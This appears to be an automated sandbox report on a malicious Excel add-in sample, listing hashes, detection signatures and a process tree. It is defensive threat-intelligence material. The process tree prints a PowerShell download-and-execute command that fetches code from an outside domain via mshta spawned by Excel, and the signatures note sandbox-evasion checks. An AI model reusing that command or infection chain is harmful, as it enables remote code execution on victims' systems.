Analysis
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max time kernel
147s -
max time network
150s -
platform
windows11-21h2_x64 -
resource
win11-20240426-en -
resource tags
arch:x64arch:x86image:win11-20240426-enlocale:en-usos:windows11-21h2-x64system -
submitted
23-05-2024 01:09
Static task
static1
Behavioral task
behavioral1
Sample
eba467ce577920e843a0197e91e2e18c31e645d7c0c9f83575c0a2ff402b3572.xll
Resource
win10v2004-20240508-en
Behavioral task
behavioral2
Sample
eba467ce577920e843a0197e91e2e18c31e645d7c0c9f83575c0a2ff402b3572.xll
Resource
win11-20240426-en
General
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Target
eba467ce577920e843a0197e91e2e18c31e645d7c0c9f83575c0a2ff402b3572.xll
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Size
12KB
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MD5
5eed411f0b498b1309dd6969183aac8f
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SHA1
d43cb0ee3dc08251970d4426d2d7d1f2270c24b2
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SHA256
eba467ce577920e843a0197e91e2e18c31e645d7c0c9f83575c0a2ff402b3572
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SHA512
ca882e9a2e1b11154b8b264fa08232d911a56c1936ed89ce00af27e069bb9e56b3460288c0de2275deeebc22c3bf2cbe11375cc69ee6a8827ec05f079ce98a02
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SSDEEP
192:1L29RBzDzeobchBj8JON2ONhlPru2rEPEjr7AhV:t29jnbcvYJOLvlju2vr7CV
Malware Config
Extracted
Signatures
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Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
Processes:
mshta.exedescription pid pid_target process target process Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process 4716 3164 mshta.exe EXCEL.EXE -
Blocklisted process makes network request 1 IoCs
Processes:
powershell.exeflow pid process 18 1628 powershell.exe -
Loads dropped DLL 2 IoCs
Processes:
EXCEL.EXEpid process 3164 EXCEL.EXE 3164 EXCEL.EXE -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
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Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
Processes:
EXCEL.EXEdescription ioc process Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString EXCEL.EXE -
Enumerates system info in registry 2 TTPs 3 IoCs
Processes:
EXCEL.EXEdescription ioc process Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU EXCEL.EXE -
Suspicious behavior: AddClipboardFormatListener 1 IoCs
Processes:
EXCEL.EXEpid process 3164 EXCEL.EXE -
Suspicious behavior: EnumeratesProcesses 2 IoCs
Processes:
powershell.exepid process 1628 powershell.exe 1628 powershell.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
Processes:
powershell.exedescription pid process Token: SeDebugPrivilege 1628 powershell.exe -
Suspicious use of FindShellTrayWindow 2 IoCs
Processes:
EXCEL.EXEpid process 3164 EXCEL.EXE 3164 EXCEL.EXE -
Suspicious use of SetWindowsHookEx 10 IoCs
Processes:
EXCEL.EXEpid process 3164 EXCEL.EXE 3164 EXCEL.EXE 3164 EXCEL.EXE 3164 EXCEL.EXE 3164 EXCEL.EXE 3164 EXCEL.EXE 3164 EXCEL.EXE 3164 EXCEL.EXE 3164 EXCEL.EXE 3164 EXCEL.EXE -
Suspicious use of WriteProcessMemory 6 IoCs
Processes:
EXCEL.EXEmshta.exedescription pid process target process PID 3164 wrote to memory of 4716 3164 EXCEL.EXE mshta.exe PID 3164 wrote to memory of 4716 3164 EXCEL.EXE mshta.exe PID 3164 wrote to memory of 4716 3164 EXCEL.EXE mshta.exe PID 4716 wrote to memory of 1628 4716 mshta.exe powershell.exe PID 4716 wrote to memory of 1628 4716 mshta.exe powershell.exe PID 4716 wrote to memory of 1628 4716 mshta.exe powershell.exe
Processes
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C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\eba467ce577920e843a0197e91e2e18c31e645d7c0c9f83575c0a2ff402b3572.xll"1⤵
- Loads dropped DLL
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:3164 -
C:\Windows\SysWOW64\mshta.exe"C:\Windows\SysWOW64\mshta.exe" "C:\users\public\example.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5} mshta2⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:4716 -
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command Invoke-Expression (irm -Uri 'iapartmentlistings.com/tykhwuxk')3⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1628
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
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Filesize
2KB
MD5f754844cfb65838d1dd6b19dde5d835c
SHA1b3eb677783adc88c8d048898449e04d49f416db6
SHA2563644b387519f3509a1ce3d2201e2e1e8af36217138cc6f9e62d6e37c887097a6
SHA512f42f89562b5c0be86dbd04683ee6c30711155acd1239e273da726c2bfedf5d0806c479b7107792c136bff6e97efb8d9145df0c176f499f86f1b7e304a2e3ccdf
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Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
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C:\Users\Admin\AppData\Local\Temp\eba467ce577920e843a0197e91e2e18c31e645d7c0c9f83575c0a2ff402b3572.xll
Filesize12KB
MD55eed411f0b498b1309dd6969183aac8f
SHA1d43cb0ee3dc08251970d4426d2d7d1f2270c24b2
SHA256eba467ce577920e843a0197e91e2e18c31e645d7c0c9f83575c0a2ff402b3572
SHA512ca882e9a2e1b11154b8b264fa08232d911a56c1936ed89ce00af27e069bb9e56b3460288c0de2275deeebc22c3bf2cbe11375cc69ee6a8827ec05f079ce98a02